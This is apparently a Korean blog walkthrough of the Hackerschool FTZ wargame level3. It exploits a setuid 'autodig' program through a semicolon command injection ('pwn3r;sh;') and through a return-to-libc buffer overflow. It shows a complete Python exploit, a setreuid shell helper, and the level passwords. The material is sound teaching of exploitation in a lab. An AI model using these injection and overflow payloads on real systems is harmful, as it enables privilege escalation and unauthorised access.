Wargame/FTZ

Hackerschool FTZ level3

pwn3r_45 2011. 7. 17. 01:48
Category : System hacking

ssh://ftz.hackerschool.org
id : level3
pw : can you fly?

Summary : overflow , command string with semicolon

서버에 접속하여 디렉토리에 있는 파일들을 확인해보면 hint라는 파일을 볼 수 있다.

[level3@ftz level3]$ ls -l
합계 12
-rw-r--r--    1 root     root          543 11월 26  2000 hint
drwxr-xr-x    2 root     level3       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level3       4096  7월 10 08:23 tmp
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


autodig라는 프로그램의 source라고 하는데 우선 autodig라는 프로그램을 찾아본다.

[level3@ftz level3]$ find / -name autodig 2> /dev/null
/bin/autodig
[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x---    1 level4   level3      22931  3월 29  2003 /bin/autodig

setuid가 걸린 level4 user의 프로그램이다.
source파일이 주어져 있으므로 다시 읽어보면 프로그램에서 2가지 취약점을 찾을 수 있다.

argv[1]에 입력한 값을 필터링없이 system함수로 실행하기 때문에 원하는 명령을 실행할 수 있는 취약점 , 다른 취약점은 strcat으로 argv[1]에 입력한 값을 지역변수에 복사해주기 때문에 overflow 취약점이다.

전자로 먼저 풀이를 한다.

argv[1]의 앞뒤에 문자열을 이어붙이고 , system 함수로 실행을 하기때문에 원하는 명령을 정상적으로 실행하기위해선 앞의 명령과 뒤의 문자열과 분리해줄 필요가 있다.
세미콜론을 이용해서 다른명령으로 구분시켜줄 수 있다.
하지만 표준입출력에서 그냥 세미콜론을 넣게 되면 "autodig 명령"과 "입력한 명령"이 분리가 되는 셈이 되기때문에 쿼터를 이용해 문자열로 만들어줌으로써 argv[1]에 전달해야 한다.
/bin/sh를 실행하기위해 "pwn3r;sh;"를 전달해준다.


[level3@ftz level3]$ autodig "pwn3r;sh;"
 
^C
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)

level4 user의 쉘을 얻었다.



이번에는 buffer overflow 취약점도 있으므로 RTL(return to libc)을 이용해 공격해본다.
cmd라는 지역변수 한개를 선언했기때문에  스택의 구조는 매우 단순하다.

0x08048513 <main+3>: sub    $0x78,%esp

지역변수는 총 0x78(120)byte가 선언되었다.
넘겨준 문자열 앞에 "dig @"라는 문자열을 이어붙인다는 점을 고려해야한다.

return address부분에 공유 라이브러리의 system함수의 주소를 넣어주고 인자로 "GNU"라는 문자열의 주소를 전달해준다.
그렇게되면 system("GNU");가 실행되게 되는데 , GNU를 setreuid를 수행하고 /bin/sh를 실행하는 프로그램에 symbolic link 걸어준다. 그리고 PATH 환경변수에 GNU가 있는 경로를 추가해주어야한다.
위 동작을 python script를 이용해 진행한다. (-c option을 이용한 한 줄 실행이 빠르지만 어쩌다 보니 python script를 작성했다 ..?)

[level3@ftz tmp]$ cat exploit.py
#!/usr/bin/python

import os , struct

system_libc = struct.pack("<l" , 0x4005f430)
GNU = struct.pack("<l" , 0x8048114)
payload = ""


payload += "a" * 115
payload += "b" * 4
payload += system_libc
payload += "c" * 4
payload += GNU

os.execl("/bin/autodig" , "autodig" , payload)
[level3@ftz tmp]$ cat pwn3r.c
#include <stdio.h>

int main()
{
 setreuid(geteuid(),geteuid());
 execl("/bin/sh" , "sh" , NULL);
}
[level3@ftz tmp]$ gcc -o pwn3r pwn3r.c
[level3@ftz tmp]$ ln -s pwn3r GNU
[level3@ftz tmp]$ export PATH=./:$PATH
[level3@ftz tmp]$
[level3@ftz tmp]$ ./exploit.py
[level3@ftz tmp]$ ./exploit.py
dig: Couldn't find server 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb0?cccc?': Name or service not known
Xshellsh-2.05b$
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh-2.05b$ my-pass

Level4 Password is "suck my brain".


level4 user의 쉘을 획득하고 password를 얻었다.